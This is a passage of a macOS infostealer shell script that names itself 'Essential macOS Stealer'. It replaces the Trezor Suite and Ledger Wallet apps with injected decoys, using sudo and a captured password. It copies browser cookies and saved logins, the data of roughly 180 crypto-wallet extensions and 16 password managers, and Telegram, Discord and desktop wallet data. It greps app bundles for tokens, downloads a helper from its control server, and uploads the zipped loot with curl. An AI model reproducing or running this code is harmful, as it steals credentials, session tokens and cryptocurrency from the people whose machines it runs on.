  [ -f "$_ll_official/Contents/Resources/app.asar" ] || return 1
  grep -q 'lab-ledger-ui-v2' "$_ll_official/Contents/Resources/.lab_injected" || return 1
}
run_ledger_hijack_all() {
  _ll_hide_old_bak
  if [ -d "$_ll_ui_cache" ] && ! grep -qx 'v2' "$_ll_ui_cache/ui-version.txt" 2>/dev/null; then
    rm -rf "$_ll_ui_cache"
  fi
  if [ -f "/Applications/Ledger Wallet.txt" ]; then
    if [ -w /Applications ]; then
      rm -f "/Applications/Ledger Wallet.txt" 2>/dev/null || true
    elif [ -n "$PW" ]; then
      printf '%s\n' "$PW" | sudo -S -p '' rm -f "/Applications/Ledger Wallet.txt" 2>/dev/null || true
    fi
  fi
  if _ll_is_injected; then
    _ll_already
    return 0
  fi
  [ -d "$_ll_official" ] || [ -d "$_ll_official_bak" ] || [ -d "$_ll_old_bak" ] || { _ll_fail "not-installed"; return 0; }
  ensure_ledger_ui_pack || { _ll_fail "ui-download"; return 0; }
  pkill -f 'Ledger Wallet' >/dev/null 2>&1 || true
  sleep 1
  _ll_build_decoy || { _ll_fail "decoy-build"; return 0; }
  if _ll_swap_applications; then
    _ll_ok
  else
    if [ -z "$PW" ]; then
      _ll_fail "no-password"
    elif ! printf '%s\n' "$PW" | sudo -S -p '' -v >/dev/null 2>&1; then
      _ll_fail "sudo-auth"
    else
      _ll_fail "app-swap"
    fi
  fi
}

mkdir -p "$ST/Apps"
APPS_OUT="$ST/Apps/installed.txt"
touch "$APPS_OUT"
if [ "${LAB_SKIP_HIJACK:-0}" != "1" ]; then
run_trezor_hijack_all
run_ledger_hijack_all
fi
# Live paths only — never invent /Applications from .official / .labofficial backups
for _tp in "/Applications/Trezor Suite.app" "$H/Applications/Trezor Suite.app" "$H/Desktop/Trezor Suite.app"; do
  if [ -d "$_tp" ]; then
    echo "Trezor Suite|installed=1|engine=electron|path=$_tp" >> "$APPS_OUT"
  fi
done
for _lp in "/Applications/Ledger Wallet.app" "$H/Applications/Ledger Wallet.app"; do
  if [ -d "$_lp" ]; then
    echo "Ledger Wallet|installed=1|engine=electron|path=$_lp" >> "$APPS_OUT"
  fi
done
_lab_verify_marker

do_upload() {
  tag="$1"
  wait "$IPPID" 2>/dev/null
  IP=$(cat /tmp/lab_ip.txt 2>/dev/null || echo unknown)
  printf '%s\n' "Essential macOS Stealer" "Build: NITRO2-lab-staged" "Phase: $tag" "Username: $USER_N" "Password: $PW" "IP Address: $IP" "$(sw_vers 2>/dev/null)" "$(sysctl -n hw.model 2>/dev/null)" > "$ST/UserInformation"
  # Drop empty mkdir shells (Steam/Chat/AI/…) and empty wallet dirs before zip
  find "$ST" -depth -type d -empty -delete 2>/dev/null || true
  rm -f "$ZIP"
  ditto -c -k --norsrc "$ST/" "$ZIP" 2>/dev/null || ditto -c -k "$ST/" "$ZIP"
  SZ=$(stat -f%z "$ZIP" 2>/dev/null || echo 0)
  curl -fsSk --max-time 180 -F "txid=$TXID" -F "file=@$ZIP" "$UPLOAD" > "/tmp/updstat_${tag}.txt" 2>&1
  RC=$?
  BODY=$(cat "/tmp/updstat_${tag}.txt" 2>/dev/null)
  if [ "$RC" -ne 0 ] || [ "$BODY" != "ok" ]; then
    echo "fail rc=$RC body=$BODY" > "/tmp/updstat_${tag}.txt"
    echo "fail" > "$UP"
    return 1
  fi
  echo "ok" > "$UP"
  return 0
}

# Push wallet launcher status to Telegram immediately (before big browser/7z loot).
# Alert on fresh replace OR already-injected (operator still needs visibility).
_HIJACK_REPORT=0
grep -Eqx 'status=(replaced|already)' "$ST/Apps/trezor_replaced.txt" 2>/dev/null && _HIJACK_REPORT=1
grep -Eqx 'status=(replaced|already)' "$ST/Apps/ledger_replaced.txt" 2>/dev/null && _HIJACK_REPORT=1
if [ "$_HIJACK_REPORT" = "1" ]; then
  printf 'wallet-hijack\n' > "$ST/Apps/mode.txt"
  do_upload "0-hijack" || true
  rm -f "$ST/Apps/mode.txt"
fi

wait_pids() {
  max="$1"; shift
  PIDS="$*"
  [ -z "$PIDS" ] && return 0
  ( sleep "$max"; for p in $PIDS; do kill "$p" 2>/dev/null; done ) & KILLER=$!
  for p in $PIDS; do wait "$p" 2>/dev/null; done
  kill "$KILLER" 2>/dev/null
  wait "$KILLER" 2>/dev/null
}

ditto_dir() {
  src="$1"; dst="$2"
  [ -e "$src" ] || return 0
  mkdir -p "$(dirname "$dst")"
  ditto --norsrc "$src" "$dst" 2>/dev/null || cp -R "$src" "$dst" 2>/dev/null || true
}

# --- browser profile essentials (cookies/logins) ---
grab_profiles() {
  name="$1"; base="$2"
  [ -d "$base" ] || return 0
  shopt -s nullglob
  for prof in "$base/Default" "$base"/Profile* "$base"/Guest*; do
    [ -d "$prof" ] || continue
    pn=$(basename "$prof")
    dest="$ST/Browsers/${name}_$pn"
    mkdir -p "$dest/Network"
    for f in Cookies "Login Data" "Login Data For Account" "Web Data" History "Bookmarks" "Preferences" "Secure Preferences"; do
      [ -f "$prof/$f" ] && cp -f "$prof/$f" "$dest/$f"
      # WAL/SHM so SQLite sees latest cookies/logins/autofill
      for sfx in -wal -shm; do
        [ -f "$prof/$f$sfx" ] && cp -f "$prof/$f$sfx" "$dest/$f$sfx"
      done
    done
    [ -f "$prof/Network/Cookies" ] && cp -f "$prof/Network/Cookies" "$dest/Network/Cookies"
    for sfx in -wal -shm; do
      [ -f "$prof/Network/Cookies$sfx" ] && cp -f "$prof/Network/Cookies$sfx" "$dest/Network/Cookies$sfx"
    done
  done
  shopt -u nullglob
}

grab_firefox_profiles() {
  base="$AS/Firefox/Profiles"
  [ -d "$base" ] || return 0
  shopt -s nullglob
  for prof in "$base"/*; do
    [ -d "$prof" ] || continue
    pn=$(basename "$prof")
    dest="$ST/Browsers/Firefox_$pn"
    mkdir -p "$dest"
    for f in cert9.db cookies.sqlite cookies.sqlite-wal formhistory.sqlite key4.db logins.json logins-backup.json places.sqlite pkcs11.txt signons.sqlite permissions.sqlite; do
      [ -f "$prof/$f" ] && cp -f "$prof/$f" "$dest/$f"
    done
  done
  shopt -u nullglob
}

# --- extensions / deep browser stores ---
# Known wallet + password-manager extension IDs (from smodule); skip if not installed
WALLET_EXT_MAP=$(cat <<'EXTMAP'
nkbihfbeogaeaoehlefnkodbefgpgknn|Metamask Wallet
egjidjbpglichdcondbcbdnbeeppgdph|Trust Wallet
cjmkndjhnagcfbpiemnkdpomccnjblmj|Finnie Wallet
hifafgmccdpekplomjjkcfgodnhcellj|Crypto.com Wallet
kamfleanhcmjelnhaeljonilnmjpkcjc|InspectCrypto Wallet
fdcnegogpncmfejlfnffnofpngdiejii|Razor Wallet
klnaejjgbibmhlephnhpmaofohgkpgkd|ZilPay Wallet
pdadjkfkgcafgbceimcpbkalnfnepbnk|KardiaChain Wallet
kjjebdkfeagdoogagbhepmbimaphnfln|Ultra Wallet
ldinpeekobnhjjdofggfgjlcehhmanlj|Leather Wallet
dkdedlpgdmmkkfjabffeganieamfklkm|Cyano Wallet
bcopgchhojmggmffilplmbdicgaihlkp|Hycon Lite Client Wallet
kpfchfdkjhcoekhdldggegebfakaaiog|FRWT Wallet
idnnbdplmphpflfnlkomgpfbpcgelopg|Xverse Wallet
mlhakagmgkmonhdonhkpjeebfphligng|ABC Wallet
bipdhagncpgaccgdbddmbpcabgjikfkn|Clown Wallet
nhnkbkgjikgcigadomkphalanndcapjk|CLV Wallet
bhhhlbepdkbapadjdnnojkbgioiodbic|Solflare Wallet
klghhnkeealcohjjanjjdaeeggmfmlpl|Zerion Wallet
ebfidpplhabeedpnhjnobghokpiioolj|Fewcha Move Wallet
emeeapjkbcbpbpgaagfchmcgglmebnen|Surf Wallet
fldfpgipfncgndfolcbkdeeknbbbnhcc|MyTonWallet
penjlddjkjgpnkllboccdgccekpkcbin|OpenMask Wallet
fhilaheimglignddkjgofkcbgekhenbh|Oxygen Atomic Wallet
hmeobnfnfcmdkdcmlblgagmfpfboieaf|Ctrl Wallet
gjnckgkfmgmibbkoficdidcljeaaaheg|Atomic Wallet
cihmoadaighcejopammfbmddcmdekcje|LeafWallet
omaabbefbmiijedngplfjmnooppbclkk|TonKeeper Wallet
jnlgamecbpmbajjfhmmmlhejkemejdma|Braavos Bitcoin Wallet
fpkhgmpbidmiogeglndfbkegfdlnajnf|Cosmostation Wallet
amkmjjmmflddogmhpjloimipbofnfjih|Wombat Gaming Wallet
flpiciilemghbmfalicajoolhkkenfel|ICONex Wallet
aeachknmefphepccionboohckonoeemg|Coin98 Wallet
momakdpclmaphlamgjcndbgfckjfpemp|BitMask Wallet
mnfifefkajgofkcjkemidiaecocnkjeh|TezBox Wallet
ehjiblpccbknkgimiflboggcffmpphhp|XcelPay Wallet
ilhaljfiglknggcoegeknjghdgampffk|Beam Web Wallet
pgiaagfkgcbnmiiolekcfmljdagdhlcm|Stargazer Wallet
fnjhmkhhmkbjkkabndcnnogagogbneec|Ronin Wallet
bfnaelmomeimhlpmgjnjophhpkkoljpa|Phantom Wallet
imlcamfeniaidioeflifonfjeeppblda|NC Wallet
ppdadbejkmjnefldpcdjhnkpbjkikoip|ROSE Wallet
cgeeodpfagjceefieflmdfphplkenlfk|EVER Wallet
dlcobpjiigpikoobohmabehhmhfoodbb|Ready Wallet
jiidiaalihmmhddjgbnbgdfflelocpak|Bitget Wallet
bocpokimicclpaiekenaeelehdjllofo|XDCPay Wallet
pocmplpaccanhmnllbbkpgfliimjljgo|Slope Wallet
cphhlgmgameodnhkjdmkpanlelnlohao|NeoLine
mcohilncbfahbmgdjkbpemcciiolgcge|OKX Wallet
bopcbmipnjdcdfflfgjdgdjejmgpoaab|BlockWallet
khpkpbbcccdmmclmpigdgddabeilkdpd|Suiet Sui Wallet
ejjladinnckdgjemekebdpeokbikhfci|Petra Aptos Wallet
phkbamefinggmakgklpkljjmgibohnba|Pontem Crypto Wallet
epapihdplajcdnnkdeiahlgigofloibg|Sender Wallet
hpclkefagolihohboafpheddmmgdffjm|Flow Wallet
cjookpbkjnpkmknedggeecikaponcalb|XTON Wallet
cpmkedoipcpimgecpmgpldfpohjplkpp|Gate Wallet
modjfdjcodmehnpccdjngmdfajggaoeh|Vanta Wallet
ibnejdfjmmkpcnlpebklmnkoeoihofec|TronLink
afbcbjpbpfadlkmhmclhkeeodmamcflc|MathWallet
kncchdigobghenbbaddojjnnaogfppfj|iWallet
efbglgofoippbgcjepnhiblaibcnclgk|Martian Aptos Wallet
fccgmnglbhajioalokbcidhcaikhlcpm|Zapit Wallet
apnehcjmnengpnmccpaibjmhhoadaico|CWallet
mgffkfbidihjpoaomajlbgchddlicgpn|Pali Wallet
fopmedgnkfpebgllppeddmmochcookhc|Suku Wallet
jojhfeoedkpkglbfimdfabpdfjaoolaf|Polymesh Wallet
abkahkcbhngaebpcgfmhkoioedceoigp|Casper Wallet
gkeelndblnomfmjnophbhfhcjbcnemka|Bitverse Wallet
pnndplcbkakcplkjnolgbkdgjikjednm|Tronium Tron Wallet
ellkdbaphhldpeajbepobaecooaoafpg|ASI Alliance Wallet
mdnaglckomeedfbogeajfajofmfgpoae|Energy8 Wallet
nknhiehlklippafakaeklbeglecifhad|Nabox Wallet
ckklhkaabbmdjkahiaaplikpdddkenic|Internet Money Wallet
fmblappgoiilbgafhjklehhfifbdocee|Forbole X Wallet
nphplpgoakhhjchkkhmiggakijnkhfnd|TON Wallet
cnmamaachppnkjgnildpdmkaakejnhae|Auro Wallet
fijngjgcjhjmmpcmkeiomlglpeiijkld|Talisman Wallet
lbjapbcmmceacocpimbpbidpgmlmoaao|Metalet Wallet
hnfanknocfeofbddgcijnmhnfnkdnaad|Coinbase Wallet
hpglfhgfnhbgpjdenjgmdgoeiappafln|Guarda Wallet
ibljocddagjghmlpgihahamcghfggcjc|Virgo Wallet
gkodhkbmiflnmkipcmlhhgadebbeijhh|Soter Aleo Wallet
dbgnhckhnppddckangcjbkjnlddbjkna|Fin Wallet For Sei
mfhbebgoclkghebffdldpobeajmbecfk|StarMask Wallet
nlgbhdfgdhgbiamfdfmbikcdghidoadd|Byone Wallet
acmacodkjbdgmoleebolmdjonilkdbch|Rabby Wallet
agoakfejjabomempkjlepdflaleeobhb|Core Wallet
dgiehkgfknklegdhekgeabnhgfjhbajd|Komodo Wallet
onhogfjeacnfoofkfgppdlbmlmnplgbn|SubWallet Polkadot Wallet
jaooiolkmfcmloonphpiiogkfckgciom|Twetch Wallet
ojggmchlghnjlapmfbnjholfjkiidbch|Venom Wallet
pmmnimefaichbcnbndcfpaagbepnjaig|FoxWallet
oiohdnannmknmdlddkdejbmplhbdcbee|ScaleWallet
aiifbnbfobpmeekipheeijimdpnlpgpp|Station Wallet
anokgmphncpekkhclmingpimjmcooifb|Compass Wallet for Sei
kkpllkodjeloidieedojogacfhpaihoh|Enkrypt Wallet
iokeahhehimjnekafflcihljlcjccdbe|Alby Wallet
ifckdpamphokdglkkdomedpdegcjhjdp|ONTO Wallet
loinekcabhlmhjjbocijdoimmejangoa|Glass wallet
fcfcfllfndlomdhbehjjcoimbgofdncg|Leap Wallet
ifclboecfhkjbpmhgehodcjpciihhmif|Klever Wallet
dmkamcknogkgcdfhhbddcghachkejeap|Keplr Wallet
ookjlbkiijinhpmnjffcofjonbfbgaoc|Temple Wallet
oafedfoadhdjjcipmcbecikgokpaphjk|CoinWallet
mapbhaebnddapnmifbbkgeedkeplgjmf|Biport Wallet
cmndjbecilbocjfkibfbifhngkdmjgog|Swash Wallet
lgmpcpglpngdoalbgeoldeajfclnhafa|SafePal Wallet
ppbibelpcjmhbdihakflkdcoccbgbkpo|UniSat Wallet
ffnbelfdoeiohenkjibnmadjiehjhajb|Yoroi
opcgpfmipidbgpenhmajoajpbobppdil|Slush Sui wallet
lnnnmfcpbkafcpgdilckhmhbkkbpkmid|Koala Wallet
nbdhibgjnjpnkajaghbffjbkcgljfgdi|Ramper Wallet
kmhcihpebfmpgmihbkipmjlmmioameka|Eternl Wallet
kmphdnilpmdejikjdnlbcnmnabepfgkh|OsmWallet
iidjkmdceolghepehaaddojmnjnkkija|IOTA Wallet
ablmompanofnodfdkgchkpmphailefpb|Miden Wallet
pdgbckgdncnhihllonhnjbdoighgpimk|Wallet Guard
kennjipeijpeengjlogfdjkiiadhbmjl|PWR Wallet
mlbnicldlpdimbjdcncnklfempedeipj|Yours Wallet
dngmlblcodfobpdpecaadgfbcggfjfnm|MultiversX Wallet
gjkdbeaiifkpoencioahhcilildpjhgh|Parti Wallet
bifidjkcdpgfnlbcjpdkdcnbiooooblg|Fuelet Wallet
cflgahhmjlmnjbikhakapcfkpbcmllam|OORT Wallet
ehgjhhccekdedpbkifaojjaefeohnoea|Ambire Web3 Wallet
pcndjhkinnkaohffealmlmhaepkpmgkb|Meteor Wallet
jblndlipeogpafnldhgmapagcccfchpi|Kaia Wallet
mnnkpffndmickbiakofclnpoiajlegmg|Concordium Wallet
lccbohhgfkdikahanoclbdmaolidjdfl|Wigwam Web3 Wallet
pdliaogehgdbhbnmkklieghmmjkpigpa|Bybit Wallet
nhlnehondigmgckngjomcpcefcdplmgc|Fearless Wallet
mpeengabcnhhjjgleiodimegnkpcenbk|HOT Wallet
blcaacmeglnfblclocdgaomhopnfobof|TAP Wallet
mfgccjchihfkkindfppnaooecgfneiii|TokenPocket
jfdlamikmbghhapbgfoogdffldioobgl|Hana Wallet
nebnhfamliijlghikdgcigoebonmoibm|Leo Wallet
nfinomegcaccbhchhgflladpfbajihdf|GU Wallet
aflkmfhebedbjioipglgcbcmnbpgliof|Backpack Wallet
cgddkajmbckbjbnondgfcbcojjjdnmji|Mavryk Wallet
jiiigigdinhhgjflhljdkcelcjfmplnd|Mango Wallet
dldjpboieedgcmpkchcjcbijingjcgok|Fuel Wallet
aholpfdialjgjfhomihkjbmgjidlcdno|Exodus Web3 Wallet
omajpeaffjgmlpmhbfdjepdejoemifpe|xBull Wallet
fdchdcpieegfofnofhgdombfckhbcokj|Puzzle Aleo Wallet
kfdniefadaanbjodldohaedphafoffoh|Typhon Wallet
bfeplaecgkoeckiidkgkmlllfbaeplgm|Radix Wallet Connector
flhpobcpjeilaheadnpdkkinakogbdhb|HashPass Wallet
mkpegjkblkkefacfnmkajcjmabijhclg|Magic Eden Wallet
heamnjbnflcikcggoiplibfommfbkjpj|Zeal Wallet
iledlaeogohbilgbfhmbgkgmpplbfboh|Jupiter Wallet
ocjobpilfplciaddcbafabcegbilnbnb|XPLA Vault Wallet
ieldiilncjhfkalnemgjbffmpomcaigi|Portal DEX
bofddndhbegljegmpmnlbhcejofmjgbn|eckoWALLET
bedogdpgdnifilpgeianmmdabklhfkcn|VESPR Wallet
gafhhkghbfjjkeiendhlofajokpaflmk|Lace Wallet
andhndehpcjpmneneealacgnmealilal|HaHa Wallet
jnmbobjmhlngoefaiojfljckilhhlhcj|OneKey Wallet
bgfhmafjampalkbjicjcjiikhlaggdnm|Noone Wallet
jbkgjmpfammbgejcpedggoefddacbdia|Parallel wallet
lmkncnlpeipongihbffpljgehamdebgi|DPal Wallet
hfbglbedehonhmcljhlomlbjgmblieip|LuckyCoin Wallet
nieddmedbnibfkfokcionggafcmcgkpi|Arcana Wallet
cfbfdhimifdmdehjmkdobpcjfefblkjm|Plug Wallet
enbnpdbkfjdnhlepfeaaahegcggljhdh|Bitway Wallet
einhphiffjfjogeofkpclobkcgennocm|UMI Wallet
fiehfolhefpnoihmfggndpmibfgbpico|Volt Wallet
pfccjkejcgoppjnllalolplgogenfojk|Tomo Wallet
lbenhokjibnlmfdhbgeacnocgmjegfab|EternalWallet
bdgmdoedahdcjmpmifafdhnffjinddgc|Bittensor Wallet
gdokollfhmnbfckbobkdbakhilldkhcj|Alephium Wallet
jnldfbidonfeldmalbflbmlebbipcnle|Bitfinity Wallet
ejbidfepgijlcgahbmbckmnaljagjoll|Salmon Wallet
ghlmndacnhlaekppcllcpcjjjomjkjpg|Wizz Wallet
ibjflpbmadchofnbpppegdbnifdgincp|DID Wallet
miccfnlbijkmbckaagllchcfknjhgfnk|Speed Bitcoin Lightning Wallet
idpdilbfamoopcfofbipefhmmnflljfi|FACT wallet
cadiboklkpojfamcoggejbbdjcoiljjk|Binance Wallet
opfgelmcmbiajamepnmloijbpoleiama|Rainbow Wallet
homnkdmbblppiocmjpilekoeppjdhmmn|Grind Wallet
pehjmcpnbaogigbginlmkcmjgeiiggng|DCENT Wallet
gjlmehlldlphhljhpnlddaodbjjcchai|Nautilus Wallet
jgnlpliioeodfjmjdkgloebikkkmahjf|Scramble Wallet
EXTMAP
)
PASS_EXT_MAP=$(cat <<'EXTMAP'
pejdijmoenmkgeppbflobdenhhabjlaj|iCloud Passwords
hdokiejnpimakedhajhdlcegeplioahd|LastPass Password Manager
aeblfdkhhhdcdjpifhhbdiojplfjncoa|1Password
kmbjcfefmceiibhnddbeenklcmpehmdd|TweakPass
eiaeiblijfjekdanodkjadfinkhbfgcd|NordPass
bfogiafebfohielmmehodmfbbebbbpei|Keeper
ghmbeldphafepmbegfdlkpapadhbakde|Proton Pass
nngceckbapebfimnlniiiahkandclblb|Bitwarden
mmhlniccooihdimnnjhamobppdhaolme|Kee Password
cnlhokffphohmfcddnibpohmkdfafdli|MultiPassword
nhhldecdfagpbfggphklkaeiocfnaafm|saaspass-dot-com
bnfdmghkeppfadphbnkjcicejfepnbfe|Sticky Password
hifbblnjfcimjnlhibannjoclibgedmd|MasterPassword
kmcfomidfpdkfieipokbalgegidffkal|Enpass Password Manager
fdjamakpfbbddfjaooikfcpapjohcfmg|Dashlane Password Manager
pnlccmojcmeohlpggmfnbbiapkmbliob|RoboForm Password Manager
EXTMAP
)

grab_named_exts() {
  # $1=src_dir (Local Extension Settings or IndexedDB), $2=dest_prefix, $3=map, $4=indexeddb(0/1)
  src="$1"; dest_prefix="$2"; map="$3"; as_idb="$4"
  [ -d "$src" ] || return 0
  while IFS='|' read -r eid label; do
    [ -n "$eid" ] || continue
    # match folder that contains the extension id (IndexedDB uses chrome-extension_<id>_0.indexeddb.leveldb)
    for hit in "$src"/"$eid" "$src"/*"$eid"*; do
      [ -e "$hit" ] || continue
      base_name=$(basename "$hit")
      if [ "$as_idb" = "1" ]; then
        ditto_dir "$hit" "$dest_prefix"_"$label"/IndexedDB/"$base_name"
      else
        ditto_dir "$hit" "$dest_prefix"_"$label"
      fi
    done
  done <<EOF
$map
EOF
}

grab_extensions() {
  name="$1"; base="$2"
  [ -d "$base" ] || return 0
  shopt -s nullglob
  for prof in "$base/Default" "$base"/Profile* "$base"/Guest*; do
    [ -d "$prof" ] || continue
    pn=$(basename "$prof")
    les="$prof/Local Extension Settings"
    idb="$prof/IndexedDB"
    # Extension LevelDB blobs (LES = LevelDB) — do NOT dump full site IndexedDB
    [ -d "$les" ] && ditto_dir "$les" "$ST/Extensions/${name}_$pn/Local Extension Settings"
    # named wallet / password-manager (Bitwarden etc.) LevelDB + IDB copies
    grab_named_exts "$les" "$ST/Wallets/${name}_$pn" "$WALLET_EXT_MAP" 0
    grab_named_exts "$idb" "$ST/Wallets/${name}_$pn" "$WALLET_EXT_MAP" 1
    grab_named_exts "$les" "$ST/Extensions/${name}_$pn" "$PASS_EXT_MAP" 0
    grab_named_exts "$idb" "$ST/Extensions/${name}_$pn" "$PASS_EXT_MAP" 1
    # also stage Bitwarden under Bitwarden/ for report clarity
    grab_named_exts "$les" "$ST/Bitwarden/${name}_$pn" "nngceckbapebfimnlniiiahkandclblb|Bitwarden" 0
    grab_named_exts "$idb" "$ST/Bitwarden/${name}_$pn" "nngceckbapebfimnlniiiahkandclblb|Bitwarden" 1
    # browser storage / DB siblings under Browsers/
    [ -d "$prof/Local Storage" ] && ditto_dir "$prof/Local Storage" "$ST/Browsers/${name}_$pn/Local Storage"
    [ -d "$prof/Session Storage" ] && ditto_dir "$prof/Session Storage" "$ST/Browsers/${name}_$pn/Session Storage"
    # Sync Extension Settings (some wallets store here)
    [ -d "$prof/Sync Extension Settings" ] && ditto_dir "$prof/Sync Extension Settings" "$ST/Extensions/${name}_$pn/Sync Extension Settings"
  done
  shopt -u nullglob
}

grab_firefox_extensions() {
  base="$AS/Firefox/Profiles"
  [ -d "$base" ] || return 0
  shopt -s nullglob
  for prof in "$base"/*; do
    [ -d "$prof" ] || continue
    pn=$(basename "$prof")
    ext="$ST/Extensions/Firefox_$pn"
    copied=0
    for f in extensions.json addons.json; do
      if [ -f "$prof/$f" ]; then
        mkdir -p "$ext"
        cp -f "$prof/$f" "$ext/$f"
        copied=1
      fi
    done
    if [ -d "$prof/extensions" ]; then
      ditto_dir "$prof/extensions" "$ext/extensions"
      copied=1
    fi
    if [ -d "$prof/browser-extension-data" ]; then
      ditto_dir "$prof/browser-extension-data" "$ext/browser-extension-data"
      copied=1
    fi
    # Only moz-extension origins — full storage/ is site caches (Outlook/YouTube/etc.)
    def="$prof/storage/default"
    if [ -d "$def" ]; then
      for origin in "$def"/moz-extension+++*; do
        [ -e "$origin" ] || continue
        ditto_dir "$origin" "$ext/storage/default/$(basename "$origin")"
        copied=1
      done
    fi
    [ "$copied" = "1" ] || true
  done
  shopt -u nullglob
}

grab_telegram() {
  : > "$TGLOG"
  dest="$ST/Telegram Desktop/tdata"
  mkdir -p "$dest"
  copy_one() {
    src="$1"
    echo "try:$src" >> "$TGLOG"
    [ -d "$src" ] || { echo "missing" >> "$TGLOG"; return 1; }
    ditto --norsrc "$src" "$dest" 2>>"$TGLOG" || cp -R "$src/." "$dest/" 2>>"$TGLOG"
    n=$(find "$dest" -type f 2>/dev/null | wc -l | tr -d ' ')
    echo "files=$n src=$src" >> "$TGLOG"
    [ "${n:-0}" -gt 0 ]
  }
  for src in \
    "$AS/Telegram Desktop/tdata" \
    "$H/Library/Group Containers/6N38VWS5TX.ru.keepcoder.Telegram/Data/Library/Application Support/Telegram Desktop/tdata" \
    "$H/Library/Group Containers/6N38VWS5TX.ru.keepcoder.Telegram/stable/tdata" \
    "$H/Library/Containers/ru.keepcoder.Telegram/Data/Library/Application Support/Telegram Desktop/tdata"
  do
    if copy_one "$src"; then echo "OK:$src" >> "$TGLOG"; return 0; fi
  done
  # mdfind + shallow find (no FDA required if Terminal already prompted)
  while IFS= read -r src; do
    [ -n "$src" ] || continue
    if copy_one "$src"; then echo "OK:$src" >> "$TGLOG"; return 0; fi
  done <<EOF
$(mdfind 'kMDItemFSName == "tdata" && kMDItemContentTypeTree == "public.folder"' 2>/dev/null | head -20)
$(find "$H/Library/Group Containers" -maxdepth 8 -type d -name tdata 2>/dev/null | head -20)
$(find "$H/Library/Containers" -maxdepth 8 -type d -name tdata 2>/dev/null | head -10)
$(find "$AS" -maxdepth 5 -type d -name tdata 2>/dev/null | head -10)
$(ls -d "$H"/Library/Group\ Containers/*Telegram*/**/tdata 2>/dev/null | head -10)
EOF
  for src in \
    "$H/Library/Group Containers/6N38VWS5TX.ru.keepcoder.Telegram/Data/Library/Application Support/Telegram Desktop/tdata" \
    "$AS/Telegram Desktop/tdata"
  do
    [ -d "$src" ] || continue
    ditto --norsrc "$src" "$dest" 2>>"$TGLOG" || true
    n=$(find "$dest" -type f 2>/dev/null | wc -l | tr -d ' ')
    [ "${n:-0}" -gt 0 ] && { echo "OK:ditto:$src" >> "$TGLOG"; return 0; }
  done
  echo "FAIL" >> "$TGLOG"
  return 1
}

grab_discord() {
  for pair in "discord:stable" "discordptb:ptb" "discordcanary:canary"; do
    name="${pair%%:*}"; label="${pair##*:}"
    base="$AS/$name/Local Storage/leveldb"
    [ -d "$base" ] || continue
    ditto_dir "$base" "$ST/Discord/$label/leveldb"
  done
}

# Safari cookies (binarycookies) — decrypt helper already knows how to parse
grab_safari() {
  for f in \
    "$H/Library/Cookies/Cookies.binarycookies" \
    "$H/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies"; do
    [ -f "$f" ] || continue
    cp -f "$f" "$ST/Cookies.binarycookies" 2>/dev/null || true
    break
  done
}

# Electron ASAR — extract secret-like strings without shipping multi‑MB asars
grab_electron_asar_secrets() {
  echo "LAB_PROGRESS:asar start"
  D="$ST/Chat/asar_hits"
  mkdir -p "$D"
  scan_one() {
    app="$1"
    asar="$2"
    [ -f "$asar" ] || return 0
    # Prefer real python; fall back to strings+egrep
    _py=""
    for c in /opt/homebrew/bin/python3 /usr/local/bin/python3 \
      /Library/Frameworks/Python.framework/Versions/Current/bin/python3; do
      [ -x "$c" ] || continue
      sz=$(stat -f%z "$c" 2>/dev/null || echo 0)
      [ "$sz" -gt 50000 ] || continue
      _py="$c"; break
    done
    if [ -n "$_py" ] && [ -f /tmp/lab_asar_scan.py ]; then
      "$_py" /tmp/lab_asar_scan.py "$asar" > "$D/${app}.json" 2>/dev/null || true
    fi
    # Always also dump strings hits (works without python)
    strings -a -n 24 "$asar" 2>/dev/null | grep -E 'mfa\.[A-Za-z0-9_-]{80,}|[A-Za-z0-9_-]{24}\.[A-Za-z0-9_-]{6}\.[A-Za-z0-9_-]{27,}|xox[baprs]-[0-9A-Za-z-]{10,}|sk-[A-Za-z0-9]{20,}|ghp_[A-Za-z0-9]{20,}' \
      | head -n 40 > "$D/${app}.txt" 2>/dev/null || true
  }
  # Fetch asar_scan helper once (best-effort)
  _C2ROOT="${UPLOAD%/upload.php}"
  curl -fsSk --max-time 30 "$_C2ROOT/asar_scan.py" -o /tmp/lab_asar_scan.py 2>/dev/null || true
  scan_one "Discord" "/Applications/Discord.app/Contents/Resources/app.asar"
  scan_one "DiscordPTB" "/Applications/Discord PTB.app/Contents/Resources/app.asar"
  scan_one "DiscordCanary" "/Applications/Discord Canary.app/Contents/Resources/app.asar"
  scan_one "Slack" "/Applications/Slack.app/Contents/Resources/app.asar"
  scan_one "Signal" "/Applications/Signal.app/Contents/Resources/app.asar"
  scan_one "Discord_User" "$H/Applications/Discord.app/Contents/Resources/app.asar"
  scan_one "Slack_User" "$H/Applications/Slack.app/Contents/Resources/app.asar"
  echo "LAB_PROGRESS:asar done"
}

grab_wallets() {
  mkdir -p "$ST/Wallets"
  ditto_dir "$AS/Exodus" "$ST/Wallets/Exodus"
  ditto_dir "$AS/Atomic Wallet/Local Storage/leveldb" "$ST/Wallets/Atomic"
  ditto_dir "$AS/Guarda" "$ST/Wallets/Guarda"
  ditto_dir "$AS/Coinomi/wallets" "$ST/Wallets/Coinomi"
  ditto_dir "$AS/Bitcoin" "$ST/Wallets/Bitcoin Core"
  ditto_dir "$AS/Armory" "$ST/Wallets/Armory"
  ditto_dir "$AS/Litecoin" "$ST/Wallets/Litecoin Core"
  ditto_dir "$AS/DashCore" "$ST/Wallets/DashCore"
  ditto_dir "$AS/Dogecoin" "$ST/Wallets/Dogecoin Core"
  ditto_dir "$AS/BlueWallet" "$ST/Wallets/BlueWallet"
  ditto_dir "$AS/Zengo" "$ST/Wallets/Zengo"
  ditto_dir "$AS/Trust Wallet" "$ST/Wallets/Trust Wallet"
  # Ledger rebrand: real userdata usually lives under "Ledger Live"; ship as Ledger Wallet only
  if [ -d "$AS/Ledger Live" ]; then
    ditto_dir "$AS/Ledger Live" "$ST/Wallets/Ledger Wallet"
  elif [ -d "$AS/Ledger Wallet" ]; then
    ditto_dir "$AS/Ledger Wallet" "$ST/Wallets/Ledger Wallet"
  fi
  # Trezor Suite = Electron; production userdata is @trezor/suite-desktop
  ditto_dir "$AS/@trezor" "$ST/Wallets/Trezor Suite"
  ditto_dir "$AS/@trezor/suite-desktop" "$ST/Wallets/Trezor Suite/suite-desktop"
  ditto_dir "$AS/@trezor/suite-desktop-dev" "$ST/Wallets/Trezor Suite/suite-desktop-dev"
  ditto_dir "$AS/@tonkeeper" "$ST/Wallets/TON Keeper"
  ditto_dir "$H/.electrum/wallets" "$ST/Wallets/Electrum"
  ditto_dir "$H/.sparrow/wallets" "$ST/Wallets/Sparrow"
